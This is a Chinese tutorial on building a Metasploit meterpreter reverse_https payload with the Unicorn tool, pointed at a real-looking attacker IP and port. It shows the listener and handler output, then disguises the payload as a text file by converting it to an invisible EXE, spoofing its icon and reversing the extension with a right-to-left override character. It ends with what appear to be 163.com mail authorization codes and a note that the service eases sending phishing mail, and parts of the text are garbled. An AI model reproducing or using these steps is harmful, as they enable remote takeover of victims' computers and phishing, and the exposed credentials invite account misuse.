免杀0x001

使用 cd 命令切换到新的独角兽目录

1
cd /opt/unicorn

生成有效负载

要使用独角兽创建有效负载,请使用以下命令。

1
2
3
./unicorn.py windows/meterpreter/reverse_https <ATTACKER-IP-ADDRESS> <PORT>

./unicorn.py windows/meterpreter/reverse_https 120.55.103.132 443

独角兽将使用Metasploit reverse_https模块使用指定的端口连接到攻击者的IP地址。

监听端口

监听443

1
2
root@iZbp139mvjnm00g2t4ihsoZ:~# nc -lvnp 443
Listening on 0.0.0.0 443

当独角兽完成生成有效负载时,将创建两个新文件。第一个是可以使用 cat powershell_attack.txt 命令查看的powershell_attack.txt。这将显示将在目标 Windows 10 计算机上执行并创建计量器连接的 PowerShell 代码。

1
cat powershell_attack.txt

将较长的一个放到.bat里面

使用资源文件启动 Msfconsole

要启动 Metasploit,请运行 msfconsole -r /opt/unicorn/unicorn.rc 命令。

1
msfconsole -r /opt/unicorn/unicorn.rc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
                                                  
######## #
################# #
###################### #
######################### #
############################
##############################
###############################
###############################
##############################
# ######## #
## ### #### ##
### ###
#### ###
#### ########## ####
####################### ####
#################### ####
################## ####
############ ##
######## ###
######### #####
############ ######
######## #########
##### ########
### #########
###### ############
#######################
# # ### # # ##
########################
## ## ## ##
https://metasploit.com


=[ metasploit v6.3.11-dev- ]
+ -- --=[ 2306 exploits - 1205 auxiliary - 412 post ]
+ -- --=[ 968 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit tip: You can pivot connections over sessions
started with the ssh_login modules
Metasploit Documentation: https://docs.metasploit.com/

[*] Processing /opt/unicorn/unicorn.rc for ERB directives.
resource (/opt/unicorn/unicorn.rc)> use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (/opt/unicorn/unicorn.rc)> set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
resource (/opt/unicorn/unicorn.rc)> set LHOST 120.55.103.132
LHOST => 120.55.103.132
resource (/opt/unicorn/unicorn.rc)> set LPORT 443
LPORT => 443
resource (/opt/unicorn/unicorn.rc)> set ExitOnSession false
ExitOnSession => false
resource (/opt/unicorn/unicorn.rc)> set AutoVerifySession false
[-] Unknown datastore option: AutoVerifySession. Did you mean AutoVerifySessionTimeout?
resource (/opt/unicorn/unicorn.rc)> set AutoSystemInfo false
AutoSystemInfo => false
resource (/opt/unicorn/unicorn.rc)> set AutoLoadStdapi false
AutoLoadStdapi => false
resource (/opt/unicorn/unicorn.rc)> exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[-] Handler failed to bind to 120.55.103.132:443
msf6 exploit(multi/handler) >
[*] Started HTTPS reverse handler on https://0.0.0.0:443

资源文件将自动启用处理程序(multi/handler),设置有效负载类型(windows/meterpreter/reverse_https),设置攻击者的IP地址(**LHOST),**设置端口号(**LPORT),**启用暂存器编码EnableStageEncoding),并启动msfconsole侦听器(exploit -j) — 很容易。

保存 PowerShell 有效负载

在继续操作之前,应使用记事本或首选文本编辑器将以前创建的 PowerShell 有效负载移动到 Windows 系统并另存为有效负载.bat然后再继续。在后续步骤中,将操作有效负载.bat显示为普通文本文件。

说人话就是在windows下改为bat

下载Windows 10图标

需要下载Windows 10图标才能开始将有效负载.bat转换为虚假文本文件。这些图标将用于欺骗文件图标。您可以使用 **git 克隆“https://github.com/B10merang-Project/Windows-00-Icons”**下载 Windows 10 图标。

将 PNG 转换为 ICO 格式

PNG需要转换为Windows ICO图标格式。这可以使用在线工具完成,例如 转换ICO.只需将所需的PNG上传到网站,它就会以ICO格式复制它。使用文件名 fakeTextFile.ico 保存新的 ICO。

ww

安装 BAT2EXE

之前在一篇文章中介绍了BAT2EXE(B2E)。这是将BAT文件转换为Windows可执行文件的绝佳工具。

要下载B2E,该网站要求用户挖掘加密货币几分钟,以换取下载他们的免费软件。如果读者希望支持 B2E 开发人员,请转到下载页面并获取最新的 B2E 软件。否则,读者可以使用我的B2E稍旧版本的镜像

使用我的GitHub镜像,在Windows中,访问以下URL下载B2E。

1
2
https://github.com/tokyoneon/B2E/raw/master/Bat_To_Exe_Converter.zip

导入有效负载 BAT

完成后,启动 B2E 并单击“open”按钮以导入之前创建的有效负载.bat。

黑客攻击Windows 10:如何创建无法检测的有效载荷,第2部分(隐藏有效载荷)

转换和导出有效负载

完成后,选中“icon”选项以启用它,并使用“…” 导入在上一步中创建的.ico 图标按钮。然后,将 Exe-Format 更改为“64 位 Windows |(不可见)“以防止目标用户打开文件时弹出任何终端

单击“convert”按钮以创建EXE,并将文件名保存为假.exe

使用Unicode欺骗文件扩展名

更大的问题是文件扩展名。由于文件资源管理器选项中的“隐藏已知文件类型的扩展名”选项,Windows操作系统不会隐藏文件扩展名。若要解决此问题,请使用称为“从右到ylqouqgdcqyc****cice左覆盖”(RLO) 的 Unicode 字符来反转字符在文件名中的显示顺序。了解这一点很重要,因为字符实际上并没有被反转,Windows 显示字符的方式正在被反转。Windows 仍将文件扩展名识别为 EXE。

就是复制粘贴

在这下面

1
`‮`

1
2
3
4
5
6
渡江

POP3/SMTP
ylqouqgdcqyccice
IMAP/SMTP
kwfwxriwywrmcjag

实时证明163更容易发送钓鱼邮件

465 WIPAZCVYTKOOIQNY

使用ssl

smtp.163.com